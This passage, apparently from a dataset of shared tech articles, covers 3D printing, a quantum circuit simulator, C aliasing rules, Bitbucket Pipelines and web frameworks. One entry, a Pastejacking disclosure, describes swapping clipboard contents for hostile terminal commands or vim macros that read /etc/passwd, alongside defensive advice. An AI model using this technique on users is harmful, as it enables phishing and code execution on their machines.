manufacturing, including the use of advanced analytics to determine whether a product or part can be more efficiently produced with additive manufacturing (3D printing) or through conventional methods. ""How strong has it to be? How light has it to be? How cost effective does it have to be so when you're a designer trying to decide the best way to make the product, he can decide those things,"" Bartels said. ""It's an emerging area. I don't think anyone has a firm answer now on how to do it right now."" Additionally, intelligent machining, where every machine tool is connected via the Internet, could someday enable data to be streamed to analytics engines in the cloud to determine more efficient ways of manufacturing products. For example, General Electric tracks the engines it makes not only on the production line, but also as they're in use by customers to measure ongoing performance -- data that can be used to boost quality, Bartels said. Stephen Nigro, president of HP 3D printing, said the cloud will be critical to advancing 3D printing technologies since no single company will be able to come up with all the answers. Inter-industry collaboration will be necessary. HP today began taking reservations for its new HP Jet Fusion printer line, which it said will rival traditional manufacturing by enabling product runs of greater than 50,000 parts for half the cost of other 3D printing methods and 10 times faster. HP's Jet Fusion printers are also expected to print electronics in parts that will transmit data about their performance as well as unique identifiers that will enable parts to be tracked, Nigro said. Lucas Mearian An HP employee holds a part to an inkjet printer that was printed using HP's new Jet Fusion 3D printer. The Jet Fusion 3D printer also prints close to 50% of its own parts. HP, which considers its 3D printer line an open platform, is collaborating with Arkema, BASF, Evonic Industries and Lehmann & Voss & Co. on materials its Jet Fusion printers will be able to use in the future. It is also working with Siemens to incorporate its Product Lifecycle Management software as a tool and with Autodesk and Materialise on developing the 3D printer software for the Jet Fusion line. Nigro said ""the cloud"" will be key to not only digital manufacturing but 3D printing in that it will offer cheap compute and data storage services that can drive advances in additive manufacturing. ""Our devices will be cloud connected,"" Nigro said. ""We won't be able to see what people are printing, but will be able to get information back to refine our systems."" ""We're poorly connected and poorly interoperable,"" Vickers said. ""Everyone is producing digital information..., but they're not interconnected and interoperable. We have digital devices and analog thinking."" With the cloud comes cybersecurity concerns Bartels cautioned that with the cloud comes cybersecurity issues. While the cloud helps connect disparate 3D printing and traditional manufacturing systems to enable greater analytics, it also opens the industry up to malicious attacks or IP theft. Lucas Mearian A gear printed by HP's new Jet Fusion industrial printer has invisibly embedded unique identifying information that, when scanned, shows up in a computer inventory system. The U.S. government needs to make cybersecurity in manufacturing its next top priority under the RAMI Act, Bartels said. NASA's Vickers agreed, saying gone are the days when product plans were stamped ""secret"" and stashed away in a safe. At the same time, he worries that too much sensitivity to security will stifle advances. ""Two weeks ago, we explained to our agents what we were doing with digital manufacturing. My request to them was try not to slow us down too much with too much regulation,"" Vickers said. This story, ""Digital manufacturing could eliminate warehouses, create on-demand production"" was originally published by .",en
1464087796,CONTENT SHARED,-4351117979148287331,-2979881261169775358,1383007417300661586,,,,HTML,https://github.com/dxa4481/Pastejacking,Pastejacking,"Browsers now allow developers to automatically add content to a user's clipboard, following certain conditions. Namely, this can only be triggered on browser events. This post details how you can exploit this to trick a user into running commands they didn't want to get ran, and gain code execution. It should also be noted, for some time similar attacks have been possible via html/css . What's different about this is the text can be copied after an event, it can be copied on a short timer following an event, and it's easier to copy in hex charecters into the clipboard, which can be used to exploit VIM, all shown below. Demo Here is a demo of a website that entices a user to copy an innocent looking command If a user attempts to copy the text with keyboard shortcuts, ei ctrl+c or command+c, an 800ms timer gets set that will override the user's clipboard with malicious code. Will be replaced with Note the newline character gets appended to the end of the line. When a user goes to paste the echo command into their terminal, ""evil"" will automatically get echoed to the screen without giving the user a chance to review the command before it excecutes. More sophisticated payloads that hide themselves can also be used, such as something demoed here and seen below This command will create an evil file in your home directory and clear the terminal out. The victim appears to have the command they intended to copy, nicely pasted into the terminal. Impact This method can be combined with a phishing attack to entice users into running seemingly innocent commands. The malicious code will override the innocent code, and the attacker can gain remote code excicution on the user's host if the user pastes the contents into the terminal. How do you protect yourself? This is not so straight forward. One solution may be to verify the contents of your clipboard before pasting into a terminal, but be careful where you verify these commands. For example if you paste into vim, vim macros may be used to exploit you. An example of this can be seen in this demo and below This demo echo evil when pasted in terminal, and it will cat the user's /etc/passwd file when pasted into vim. One solution around this can be seen below If you're running iTerm, you will actually get warned if the command ends with a newline as seen here: Of course it goes without saying, take note of the source you're pasting from, and exercise additional caution if pasting from questionable sources.",en
1464088373,CONTENT SHARED,-5968239566051821631,-2979881261169775358,1383007417300661586,,,,HTML,http://algorithmicassertions.com/2016/05/22/quirk.html,My Quantum Circuit Simulator: Quirk,"MathJax was blocked. Formulas like $\frac{a}{b}$ won't render into . Allow scripts from algorithmicassertions.com and mathjax.org to fix. I've been working on a quantum circuit simulator that runs in your browser. It's called Quirk. Quirk is open source (github repository: Strilanc/Quirk ), and there's a live instance you can play with at algorithmicassertions.com/quirk : (Not familiar with what a quantum circuit is? Watch the Khan-academy-style video series Quantum Computing for the Determined . It's by Michael Nielson, co-author of the de-facto standard textbook .) Features : Drag-and-drop circuit editing. Reacts, simulates, and animates in real time. Inline state displays. Bookmarkable circuits. Up to 16 qubits. Recorded Demo : Quirk exists because I got interested in quantum computing, and because I read content by Bret Victor . Bret has a lot of provocative ideas about how we should interact with computers. One of the more obvious ideas he talks about is immediate feedback ; that you shouldn't have to jump through hoops to see the effects of changes you're making. It should feel like you're directly manipulating the system, not like you're flipping switches that eventually result in the system being poked with a stick. (For example, I find that my programming productivity is much higher when using a continuous testing tool that highlights lines covered by failing tests (e.g. NCrunch ). When the line you just wrongly-refactored turns red before you had a chance to navigate away, everything feels right with the world. After experiencing that, it's hard to go back to waiting 30 seconds for tests to run.) I wanted to have that kind of 'direct manipulation' experience with quantum circuits, but existing quantum circuit simulators just didn't have that feel. Comparison: IBM Quantum Experience Although IBM's ""quantum experience"" (hereafter 'IQE') didn't exist when I started Quirk, it's a good example of not-feeling-like-direct-manipulation. Suppose you've gone through the signup hurdles for IQE (you don't just need to register an account, you need to request to register an account) and want to simulate a dead simple circuit. How does that experience play out? Well, here's a recording of me doing it: First, it turns out I can't get any results without adding measurement gates. So I fix that. Then I'm prompted to confirm a name for this simulation run. Not sure why that's needed, but whatever. Then the UI throbs for 5 seconds while IBM works out the result of this 2 qubit circuit. More succinctly: blerghh. I remember watching IBM's demo video for IQE and just not believing how much time and clicks they managed to put between you and the results. In terms of the timescales of user interaction , they're flirting with the 10 second bucket: After 1 second, users get impatient and notice that they're waiting for a slow computer to respond. The longer the wait, the more this impatience grows; after about 10 seconds, the average attention span is maxed out. At that point, the user's mind starts wandering and doesn't retain enough information in short-term memory to easily resume the interaction once the computer finally loads the next screen. To be fair, the design decisions IBM made make more sense in the context of running the circuit on actual quantum hardware (Which IQE can do! That's awesome!). Nevertheless, it's made the experience of using IBM's simulator kind of... really awful. Comparison: Davy Wybiral's Simulator Davy Wybiral's Simulator can't run your circuits on actual hardware, but otherwise it's better than IQE in basically every way (including predating IQE by three years). I like Davy's simulator. It was really helpful to me when I was learning. Here's a recording of me using it: This recording loops faster than the IBM one, yet manages to get twice as much dicking around done. That's because, although evaluation still has to be triggered, it's fast . You don't need to click through a bunch of dialogs with already-good-enough options pre-selected, or twiddle your thumbs while packets bounce back and forth across America. I could talk about some of the UX issues with Davy's simulator, like the output being a raw list of numbers, but I want to focus just on the ""evaluation still has to be triggered"" part. Simulating small quantum circuits isn't expensive. People make a big deal about the exponential costs of qubits, but that only matters for large circuits. That, and the fact that GPUs are amazing, mean my phone can apply hundreds of gates to a dozen qubits fast enough to animate in real time. There's no need for a ""Dear UI, please do the thing you knew I would want to do."" button. Comparison: Quirk Quirk has no 'evaluate the circuit now' button. Quirk is always evaluating the circuit; it's part of the drawing code. Originally, I tried using just raw javascript for the simulation. Things got slow around 7 qubits. Later, I read the Quantum Computing Playground's source code , saw that they were using webgl, and started experimenting with that. Webgl is a pain (a giant pain), but now Quirk starts getting slow around the 14 qubit mark. That's about 100X faster. And I figure it's possible to squeeze out another order of magnitude or two of speed by moving the display-drawing code into the GPU, pipelining, and interpolating. Still, those optimizations would just be gravy. The difference in experience, compared to the other two circuit simulators I mentioned, is already quite noticeable even in a recording: On a change-to-result basis, Quirk gives you feedback two orders of magnitude faster than IQE. Instead of being in the 10 second interaction bucket, Quirk is in the 0.1 second bucket : if you click on an expandable menu and see the expanded version in less than 0.1 seconds, then it feels as if you made the menu open up. If it takes longer than 0.1 seconds for the revised state to appear, then the response doesn't feel ""instantaneous"" - instead, it feels as if the computer is doing something to make the menu open. You don't have to think about getting results, it just happens. This lets you experiment freely, and the immediate feedback from that experimentation gives you a feel for how adding/moving a gate will affect the output. Eventually, that feel turns into intuition. I made Quirk to build my own intuitions about quantum circuits, and I'm happy with the results so far. Davy Wybiral's Simulator , which I already mentioned, is another in-browser drag-and-drop circuit simulator. The Quantum Computing Playground is a browser-based quantum program simulator. Microsoft's LIQ����⏐〉 is a serious useful-for-actual-research tool. Quantiki has a long list of qc simulators . Not sure what to make in Quirk? Here's a few example circuits. Grover Search Grover's search algorithm does unstructured search quadratically faster than classical computers can. It's also got a really straightforward circuit: oracle, hadamard, controlled-Z, hadamard, repeat. A couple years ago, I wrote a pretty good beginner-level blog post on Grover's algorithm . Here's a 4 qubit Grover search in Quirk with added chance and sampling displays : See also: 6 qubit and 8 qubit variants. (I tried making the 16-qubit variant... Quirk started seriously breaking about 2/3rds of the way through, around the 8K gate mark.) Quantum Teleportation Quantum teleportation uses classical communication, and some pre-shared entanglement, to move a qubit. With Quirk's inline Bloch-sphere displays, we can see that the qubit being put in at the top is in fact coming out at the bottom : See also: superdense coding circuit , which uses the same basic trick in reverse to pack 2 classical bits into a single qubit. Delayed Erasure A qubit version of the infamous optical experiment: Pretty Colors Sometimes it's fun to just dick around and make things that look visually interesting: See also: 16-qubit circuit making Moiré patterns . Other Circuits A symmetry-breaking circuit , where both sides do the same thing yet end up with opposite values. A non-local measurement circuit that doesn't require coordination until later (see also: the paper ). The circuit from the 'quantum pigeonhole paper' (see also: my take on that paper ). Quirk is still under development. There are still bugs and hitches and missing features. Notable ones include: The touch interaction in firefox mobile is awful. Drags keep turning into scrolls. The circuit URLs are kind of ridiculously long, and hard to share because of how many special characters they use. There's no way to add custom gates (besides manually editing the circuit URL to contain an entry like {""id"":""cool_gate"",""matrix"":""{ {1,i}, {i,1} }""} ). The toolbox has too much stuff in it, but also not enough stuff. You can't put measured qubits back into superposition. (Though post-selecting does count as 'unmeasuring' them, and you can use CNOTs instead of measurement gates.) You should try Quirk out anyways. Quirk is a browser-based drag-and-drop quantum circuit simulator that reacts, simulates, and animates in real-time. Comments script blocked. Comments won't work. Allow scripts from algorithmicassertions.com and intensedebate.com to fix.",en
1464088798,CONTENT SHARED,-456161980484814803,-2979881261169775358,1383007417300661586,,,,HTML,http://kristerw.blogspot.com.br/2016/05/type-based-aliasing-in-c.html,Type-based aliasing in C,"There were some concern that type-based alias analysis could cause problems when it was implemented in GCC, but the conclusion (as expressed in the GCC development list ) was that all other compilers already did this optimization, 1 so most code had already been fixed: There's less and less of this code IMHO - modern compilers have been doing this kind of alias analysis for some time and as a result folks have been forced to fix their code. Of course this doesn't apply to Linux and some other free software projects since they only use gcc. I guess that mail was a bit too optimistic - it was written in 1998, and I still see lots of broken code and complaints about -fstrict-aiasing ... What type-based alias analysis means An informal description of the type-based alias analysis rules is that every memory location has a type, and you are only allowed to access the memory using the ""correct"" type (the compiler can therefore assume that two accesses with incompatible types do not alias). The C11 standard describes this in 6.5 ""Expressions"": An object shall have its stored value accessed only by an lvalue expression that has one of the following types: a type compatible with the effective type of the object, a qualified version of a type compatible with the effective type of the object, a type that is the signed or unsigned type corresponding to the effective type of the object, a type that is the signed or unsigned type corresponding to a qualified version of the effective type of the object, an aggregate or union type that includes one of the aforementioned types among its members (including, recursively, a member of a subaggregate or contained union), or a character type. As a concrete example, a variable of type int can only be accessed through an int* (including unsigned int* , const int* , etc.) or through a char* (including unsigned char* , const char* , etc.). These restrictions allows the compiler to reorder operations when the types ensure that they access different objects. Consider the function *f cannot modify i as it has a different type, so the compiler is allowed to move the store to i over the store to *f , and the function is optimized to Note that the type-based aliasing rules only talks about how to access objects, and not about pointer casting - it is allowed to cast pointers between incompatible types (as long as you follow the rules for pointer casts ) such as But accessing this as *f will now invoke undefined behavior, as the object pointed to is an int , and it is not allowed to access it by an expression having a float type. type punning - union There are cases where you must access data using an incorrect type, and there are a few ways to do this. The usual cases is where you need to get the bitwise representation of some value, and we will consider the example from the wikipedia article on type punning that negates a floating point number by changing the most significant bit. The examples will assume 32-bit int and float . The naive version of just casting the a pointer to int* does not work as it breaks the type-based aliasing rules. The best way to solve this is in most cases to use a union 2 Both GCC and LLVM are smart enough to generate as efficient code as you would have expected from the invalid version above. The union trick requires that all accesses are done through the union - the result is not defined when accessing through a pointer, even if the pointer has the ""correct"" type type punning - character pointer Character pointers can be used to access any type, so the is_negative function can be implemented as assuming a little-endian architecture. Note is that int8_t is not guaranteed to be of character type. That is, the following function may be invalid Treating int8_t as a character type is the reasonable thing to do, and I would assume all compilers do this. But there are developers that thinks this is a bug - see the discussion in GCC bug 66110 ... type punning - memcpy A third way to do the type punning is using memcpy Both GCC and LLVM are smart enough to optimize away the memcpy , and generate similar code as the version using a union. This type punning does only work if the destination is a variable - you cannot use malloc :ed memory for this. The reason is that memcpy copies the effective type from its source when writing to allocated memory allocated memory Memory returned from malloc does not have a type, so each memory location gets an effective type when it is written. Subsequent reads must then be done according to the type-based aliasing rules as usual. The type of the allocated memory can be updated by writing with a new type which allows the buffer being used for different things over its lifetime. This may have some surprising effects, such as the examples in GCC bug 69776 and 70484 . Consider the function The type-based aliasing rules says that int and long cannot alias, and this function can be optimized to But it is possible for the pointers to alias if both point to the same malloc :ed memory, so the following will print a different value depending on if the optimization is done or not It is a bit unclear exactly what the C standard requires in these cases, and you can argue that the optimization is invalid in this case. Recent versions of GCC are conservative and do not optimize this, but older versions are more aggressive, so it prudent to try to avoid playing tricks with type changes in allocated memory regardless of what the standard says... 1 Many developers seem to think that type-based aliasing was introduced by C99, but that is not true; C90 has essentially the same aliasing rules (although C99 contain some minor clarifications/improvements). I guess the reason for the belief is that GCC added -fstrict-aliasing at roughly the same time as it implemented C99. 2 Many discussions of type punning (such as the wikipedia article ) says that type punning through union is a GCC extension. The background of this is that C90 said [...] if a member of a union object is accessed after a value has been stored in a different member of the object, the behavior is implementation-defined. I believe the committee intended it to work, but made it ""implementation defined"" as the concrete result depends on the implementation (byte order, trap representations, etc.). But ""implementation defined"" lets the compiler do whatever it want, as long as the behavior is documented (and the original implementation in GCC did in fact have additional restrictions , although that was fixed before the release). GCC documents this works for C90 too, so it is in some sense a GCC extension...",en
1464092356,CONTENT SHARED,3888577703887670575,3217014177234377440,3196448273382270601,,,,HTML,http://techcrunch.com/2016/05/24/atlassian-launches-bitbucket-pipelines-native-mobile-apps-for-jira-software-and-confluence/,Atlassian launches Bitbucket Pipelines,"Atlassian is hosting its annual developer conference not too far from my favorite absinthe bar this week. During its keynote, the company today announced a number of new products and updates, all of which focus on making life a little bit easier (and collaborative) for developers. Atlassian launches Bitbucket Pipelines Maybe the most important of the new tools is Bitbucket Pipelines. Atlassian recently consolidated all of its Git services under the Bitbucket brand and with the launch of the beta version of Pipelines, it now offers a continuous delivery service that's built right into the Atlassian-hosted Bitbucket Cloud service. Thanks to this, developers can easily automate their workflow of building and deploying their code every time they push an update to their Bitbucket repositories. During the beta, Bitbucket Pipeline will be available for free to all developers who want to give it a try. Traditionally, Atlassian's tools have always been web-centric. Today, however, the company is launching its first native apps for the Confluence team collaboration service and JIRA Software, the company's project management service for software teams. Atlassian also today announced that it is joining the Open API Initiative , a consortium that includes Apiary, Apigee, Google, IBM, Mashape, Microsoft, PayPal and others and that aims to build a common way for describing APIs. Other updates include the launch of Connect for JIRA Service Desk, which now allows third-party developer to build embeddable add-ons for that services, and the open-sourcing of RADAR , Atlassian's internal tool for generating API documentation, which unsurprisingly follows the Open API Initiative's specs.",en
1464092697,CONTENT SHARED,-7349721727282676870,-1032019229384696495,3105556337951028671,,,,HTML,http://techcrunch.com/2016/05/23/facebook-translation/,"Facebook ditches Bing, 800M users now see its own AI text translations","Machine learning is accomplishing Facebook's mission of connecting the world across language barriers. Facebook is now serving 2 billion text translations per day. Facebook can translate across 40 languages in 1,800 directions, like French to English. And 800 million users, almost half of all Facebook users, see translations each month. That's all based on Facebook's own machine learning translation system. In 2011 it started working with Microsoft Bing to power translations, but has since bene working to transition to its own system. In December 2015, Facebook finally completed the shift, and now exclusively uses its own translation tech. Alan Packer, Facebook's director of engineering for language technology, revealed this progress today at MIT's EmTech Digital conference in San Francisco. The conference has a big focus on artificial intelligence, machine learning and other cutting-edge ways to parse data. [Update: After his talk, I sat down with Packer, who told me about Facebook ditching Bing-powered translation. This article has been updated to add info from him.] Earlier, Pinterest's head of product Jack Chou revealed that just six months after launching its visual search feature, Pinterest sees 130 million visual searches every month. The product was built by a small team of four, and allows people to search using a source image instead of just text. Pinterest also now has 50 million buyable pins from 20 million merchants. Facebook's ability to not only translate but understand the content of text and images could lead to big advances in the relevancy of the News Feed. Packer explained that if Facebook can understand a post is asking for recommendations of hotels in Paris, it could surface that to friends it knows recently visited Paris, suggest a particular friend to ask or recommend making a related search for public posts of recommendations. Facebook was an early pioneer of online translation, building a crowdsourcing tool to get users around the world to translate its interface's text into their local tongues. In 2011, Facebook began using automated systems to translate users' posts and comments in the News Feed. Last year, Facebook acquired Wit.ai , a startup using understanding of natural language in text and voice to power new user interfaces. Google and Microsoft/Skype have also been aggressively pursuing translation tools to unite the world across borders. Facebook initially turned to Bing because ""we didn't have our own technology but saw that there was value in it. We did a deal, turned it on, and got a lot of usage"" Packer tells me. The problem was that Bing was built to translate more properly written website text, not the way humans talk to each other. Packer says Bing ""didn't do well on slang, idioms, and metaphors. We really needed to train on our own data."" So Facebook looked at the languages most in need of translation, and got cranking on building a version of the tech that did better than Microsoft. ""We did our own internal bake-off. When we could show it was better than Bing [for a specific language to language translation], we would turn Bing off and replace it with our own service. Now, the translation is fully rolled out for 1800 different translation permutations. When Facebook is confident its translation is perfect, it will automatically show the translation by default with an option to ""See Original"", and only shows the opt-in ""See Translation"" button when it thinks it might have errors. Packer tells me other Facebook teams from anti-spam and policy enforcement to acquisitions like Instagram are now considering how they could integrate translation. The motive is obvious, socially conscious and lucrative. Facebook's mission is to make the world more open and connected. I asked Packer how translation plays into that, and he said, ""The mission of the translation team is removing language as a barrier to making the world more open and connected."" While he didn't have concrete numbers, Packer says that access to the translation product leads users to ""have more friends, more friends of friends, and get exposed to more concepts and cultures."" And the company knows it's grown important to users, because ""when we turned it off for some people, they went nuts!"" The more people across the world that Facebook users can connect with, the longer they'll spend on the social network, and the more revenue-earning ads they'll see. We're rapidly approaching an era of the AI haves and have-nots. Tech giants who don't have the engineering prowess to parse the meaning of their content or information won't be able to deliver it to users as effectively. Companies like Google, Facebook and Microsoft could flourish while others more strapped for cash and resources to invest in research stumble.",en
1464092709,CONTENT SHARED,6807042796917367736,7392990465409599343,-7355264369745387500,,,,HTML,https://blog.bitbucket.org/2016/05/24/introducing-bitbucket-pipelines-beta-continuous-delivery-built-within-bitbucket/,Bitbucket Pipelines Beta: continuous delivery inside Bitbucket - Bitbucket,"By Sten Pittet on May 24, 2016 Software has changed the world faster than almost any other industrial innovation and it's only picking up speed. Companies are moving from infrequent, large code deployments to frequent, small and agile deployments. This trend is having a huge impact on the current software development processes. For example, in one of our most recent customer surveys, more than 65% of software teams noted that they are practicing some form of continuous delivery . It's becoming the norm for software teams. But implementing continuous delivery is not easy. Setting up build agents is complicated. Developers have to constantly juggle between different tools. And most of the time, the build is sitting in a queue, or you're burying yourself in log files digging for information about failures. Bitbucket Pipelines That is until now. Bitbucket Cloud is introducing Pipelines to let your team build, test, and deploy from Bitbucket. It is built right within Bitbucket, giving you end-to-end visibility from coding to deployment. With Bitbucket Pipelines there's no CI server to setup, user management to configure, or repositories to synchronize. Just enable it in one click and you're ready to go. It's all Bitbucket - Manage your entire development workflow within Bitbucket. No need for a separate tool. Instant setup - You can create and run your CD pipeline once you sign up for Bitbucket. No agent configuration required. Fast feedback - We show build statuses automatically everywhere you care about them - on branches, commits and pull requests. Self-service for teams - Build configuration stored as code and out-of-the-box Docker support helps teams be independent. Pipelines is also a great fit for branching workflows like git-flow. Anyone on your team can adapt the build configuration to map the structure of your branches. Here is a quick look at some of the salient features of Bitbucket Pipelines: Bring your own services to Bitbucket Pipelines We worked very closely with some of the leaders in the industry so you can bring your own services to Bitbucket Pipelines, right out of the box. Whether you want to deploy, test, monitor code quality, or store artifacts, complete any workflow with the tool of your choice: Amazon Web Services, Ansible, bitHound, BrowserStack, buddybuild, Code Climate, JFrog, Microsoft Azure, npm, SauceLabs, Sentry, Sonatype, and TestFairy. "" Pipelines provided us with the perfect opportunity to bring the power of automated code quality analysis to Bitbucket users. We're excited about the awesome potential of Pipelines and they're only just getting started!"" -Michael Bernstein, VP of Community, Code Climate. Check out our integrations page for more details. Continuous Delivery options from Atlassian We believe that the best way to provide our customers with a top-notch cloud CD solution is to build the service natively within Bitbucket Cloud. That's why we built Bitbucket Pipelines and also why today, we're announcing the end-of-life for Bamboo Cloud, which will be discontinued starting Jan 31, 2017. While Bamboo Cloud has helped many customers to adopt CD, we realized that we would not be able to deliver the experience and the quality of service that our customers need. If you're a Bamboo Cloud customer, click here to learn more about the migration options. If you want to build and ship behind the firewall, we're still heavily investing in Bamboo Server as an on-prem CD solution. Get early access to Bitbucket Pipelines With Bitbucket Pipelines we want to empower every team to accelerate their releases. No more time wasted on setup and maintenance, just focus on the work you love. You can sign up for the Bitbucket Pipelines beta program today and request early access. Sign up for the beta program",en
1464095546,CONTENT SHARED,-5200964355640106406,490109768671667408,6076701304985751494,,,,HTML,http://oyvindkg.github.io/swiftydb/,SwiftyDB - An alternative for managing SQLite Databases on iOS,"There are many libraries out there that aims to help developers easily create and use SQLite databases. Unfortunately developers still have to get bogged down in simple tasks such as writing table definitions and SQL queries. SwiftyDB automatically handles everything you don't want to spend your time doing. Content Features Usage Access the database Synchronous access Add or update data Retrieve data Retrieve objects Delete data Aynchronous access Add or update data Retrieve data Retrieve objects Delete data Result format Handling results Handling values Handling errors Filter results Simple filters Complex filters Defining your classes Primary keys Ignoring properties How to retrieve objects Installation License [x] Creates and updates databases, tables, and records automatically [x] Store any native Swift type [x] Supports optional types [x] Simple equality-based filtering [x] Thread safe database operations [x] Supports asynchronous database access [x] 100% documented [x] Complex filtering [ ] Store nested objects [ ] Store collections Almost pure plug and play. All you have to do is create an instance of SwiftyDB, and everything will be handled automagically behind the scenes �� Tell SwiftyDB what you want to call your database, and you are ready to go. If a database with the provided name does not exist, it will be created. Retrieve data with datatypes matching those of the type's properties Dog data example Retrieve objects with data from the database In order to retrieve objects, Swift currently imposes some restictions on your classes Retrieve data with datatypes matching those of the type's properties Retrieve data with datatypes matching those of the type's properties In order to retrieve objects, Swift currently imposes some restictions on your classes Filter objects are used to filter queries. All filters are translated to SQLite before querying the database. The easiest way to define your filter, is by using a dictionary: All objects with the name 'Ghost' will be retrieved For more complex filters, you can instantiate a new Filter object, and define your filters You can also chain your filters See all available filters in the documentation . All queries returns the result as a Result . It will either be a .Success wrapping data from the query, or an .Error wrapping the thrown error. The implementation of Result makes it a versatile tool that can (hopefully �� ) be adapted to your programming style You can capture the data from a query with the value property. If an error was thrown, this property will be nil . You can detect an error like this or capture it using the error property like this If you want to, you can even bring your sledgehammer and start cracking some nuts Let's use this simple Dog class as an example All objects must conform to the Storable protocol. By adding the Storable protocol and implementing init() , you are already ready to go. SwiftyDB supports inheritance. Valid properties from both the class and the superclass will be stored automatically It is recommended to implement the PrimaryKeys protocol. The primaryKeys() method should return a set of property names which uniquely identifies an object. If your class contains properties that you don't want in your database, you can implement the IgnoredProperties protocol. Properties with datatypes that are not part of the SQLiteValue protocol, as defined by TinySQLite , will automatically be ignored by SwiftyDB SwiftyDB can also retrieve complete objects with all properties assigned with data from the database. In order to achieve this, the type must be a subclass of NSObject , and all property types must be representable in in Objective-C. This is because pure Swift currently does not support dynamic assignment of properties. Dynamic property types [x] Int [x] UInt [x] Float [x] Double [x] Bool [x] String / String? [x] NSNumber / NSNumber? [x] NSString / NSString? [x] NSDate / NSDate? [x] NSData / NSData? An updated Dog class that can be used to retrieve complete objects from the database: SwiftyDB is available through CocoaPods . To install it, simply add the following line to your Podfile: Author Øyvind Grimnes, oyvindkg@yahoo.com SwiftyDB is available under the MIT license. See the LICENSE file for more info.",en
1464098809,CONTENT SHARED,-4930542581518647030,-3596626804281480007,2579268772521819716,,,,HTML,http://techcrunch.com/2016/05/23/sources-snapchat-is-raising-more-money-at-about-a-20-billion-valuation/,Sources: Snapchat is raising more money at about a $20 billion valuation,"Snapchat may have first made its name in the crowded world of mobile apps with an ephemeral messaging service, but the startup and its wildly popular app are not disappearing anywhere soon. TechCrunch has learned from multiple sources that Snapchat is raising yet more financing at around a $20 billion valuation. Sources with knowledge of the deal say the social media giant is in the process of a round of about $200 million. This new financing, we understand, is a follow on to the $175 million Series F round led by Fidelity . Snapchat was said to be valued at $16 billion in that round , flat on the year before. However, filings from earlier this month and embedded below, uncovered for us by market analysts VC Experts , show that the Series F was expanded. Based on a share price of $30.72 per share - which VC Experts tells us was the value disclosed in an earlier Fidelity Fund filing related to its Snapchat investment - and assuming all of the authorized shares are issued, the more recent valuation could be as high as $22.7 billion. Authorized shares do not always all convert to issued shares, but this gives us a range that fits in with what we've heard about the $20 billion valuation. Expanding the Series F with a Series FP, as it's described in the document below, would also fit in with a description we've heard more than once about Snapchat's fundraising: the startup is ""always raising"" on a ""rolling"" basis, partly because investors are so interested. ""They get offers all the time,"" one investor close to the company said. ""And once you start to grow on this path, many people come to give you money. You don't know how to value the company, so the best way to do that is to do some kind of rolling funding. When you have a hot company and many people are approaching you, you do a market of discovery."" That may be different from other startups, but in a way it reflects Snapchat's own fast growth and its taste for trying out new things like QR codes to connect to accounts and content; their crazy face-changing filters; and more. Besides Fidelity, other existing investors in the company include Alibaba, which led its Series E; Benchmark (Series A lead); Coatue Management (Series C lead); General Catalyst; IVP (Series B lead); Saudi investment group Kingdom Holding Company; KPCB (Series B lead); Lightspeed (Snapchat's earliest and most constant investor); SV Angel; WeChat owner Tencent and Yahoo. We hear that many existing investors are looking to participate in this new round, including Spark Capital. Snapchat declined to comment on the newer fundraising. Sources close to the company confirmed that a previous round had already closed earlier this year at a valuation different from the $20 billion we've been hearing. Snapchat, based out of Los Angeles, has had rapid growth since launching five years ago. The startup says it has over 100 million daily active users of its photo and messaging service. While there is no question that Snapchat is gaining traction, particularly with the millennial demographic, the hefty valuation can be risky. The greater the valuation, the less likely companies could afford to acquire Snapchat. It also puts pressure on an eventual IPO, with the expectation that the company's market cap will be higher. Tumultuous tech stocks and other unknown factors resulted in Fidelity writing down its value of Snapchat last fall. But that didn't prevent the investor from buying more shares this spring. Those who are bullish on the company believe the high valuation will bear out. The company, said a source, is thinking ""two or three generations out"" in terms of its growth and what it will tackle next, whether that is more international markets; a wider range of demographics; new kinds of advertising or other paid services; or new products altogether. One source claimed that hardware is in the company's sights, which is not the first time this has come up. It is also possible that it will continue to make acquisitions to fuel growth. Snapchat acquired Bitstrips for $100 million in recent months. The new round would bring Snapchat's total funding to over $1.5 billion.",en
1464102923,CONTENT SHARED,-240359174314633445,-6153009241569363021,8728888758406615629,,,,HTML,https://engineering.footballradar.com/from-a-react-point-of-vue-comparing-reactjs-to-vuejs-for-dynamic-tabular-data/,Comparing React.js to Vue.js for dynamic tabular data,"Intro The aim of this post is to observe the differences between React and Vue as view layers. The scenario is a page which has a table of nested, frequently-updating data with a fixed number of rows. This nicely represents some of the problems we face on the front-end at Football Radar. We don't need to know too much about React or Vue to accomplish this, although we are much more experienced with React than we are with Vue. You can check out the code on our GitHub - . The output of both view libs will look like this: The Test We'll run each solution with 50 games. Each game updates once a second and will at a minimum increment its clock and one player cell. Other properties are randomly and independently updated. Once each game has kicked off we'll start a timeline recording for 30 seconds. I'll dump a screenshot of my laptop's spec for clarification: The Data Our dataset is an array of 5-a-side football games. Each game updates once a second and we'll allow for a variable number of games. We won't go into too much detail about how we're generating the data but if you're curious check out our src/react.data.js and src/vue.data.js in the GitHub repo . This is the structure of the Game object clock score teams outrageousTackles cards players name effortLevel invitedNextWeek We need to expose our data with our view layer in mind. Whilst the generation of the data will remain the same for React and Vue, there are slight differences. Immutable.js for React - This lets us implement shouldComponentUpdate to easily to optimise our renders. Expose data as an Observable for React - By subscribing to our data source we can then update React via setState() . Expose data as POJO with getters for Vue - Vue reacts to changes to our state by hooking into the getters. Due to this we need to expose and update our state as a mutable object. React Implementation To create the view above we ended up with 4 components: App - subscribes to the data source and setState with the latest data Games - Rendered by App , taking the array of Games Game - A row rendered by Games , taking a Game Map Player - A cell rendered by Game , taking the Player Map Any time there is nested data we can gain the advantage of Immutable reference checking by creating a sub component for it and implement shouldComponentUpdate . In this case we've done it for the Game and Player component: Considering all we're doing is accessing a property in the Game Map then displaying it, there shouldn't be much need to create a sub component for scores, teams and cards. Here are the first results from the React implementation: Summary: Bottom-up: Timeline: Roughly 10% of the browser's time was spent scripting. When it wasn't idle it was mostly scripting, hence the spikes in the timeline being mostly yellow. We can make sure the time was spent in React and not our data generation by looking at the heaviest stack window: Since we have nothing to compare this to there's not much to say at this point. When we first ran this test I had forgotten to put the shouldComponentUpdate on the Game component and the difference was huge: 3 lines of JavaScript reduced the work by 5 times. Anyway moving onto our Vue version. Vue Implementation At first I wasn't sure about using Immutable.js with Vue since it relies on hooking into the getters/setters of plain JavaScript Objects. Whilst this is cool I still want to use Immutable in my data generation as it forces consistency when updating data and reduces bugs caused by side effects. My first attempt really buggered up the timeline. Even though I recorded 30 seconds I would only get between 5 and 20 seconds of results. I realised this was due to the page using the entire timeline buffer in ~15 seconds! So I'll just print the results of the first 10 seconds. In 10 seconds, 2 were spent scripting. That isn't very good. Vue was spending its time recreating each component as the data was a new reference each 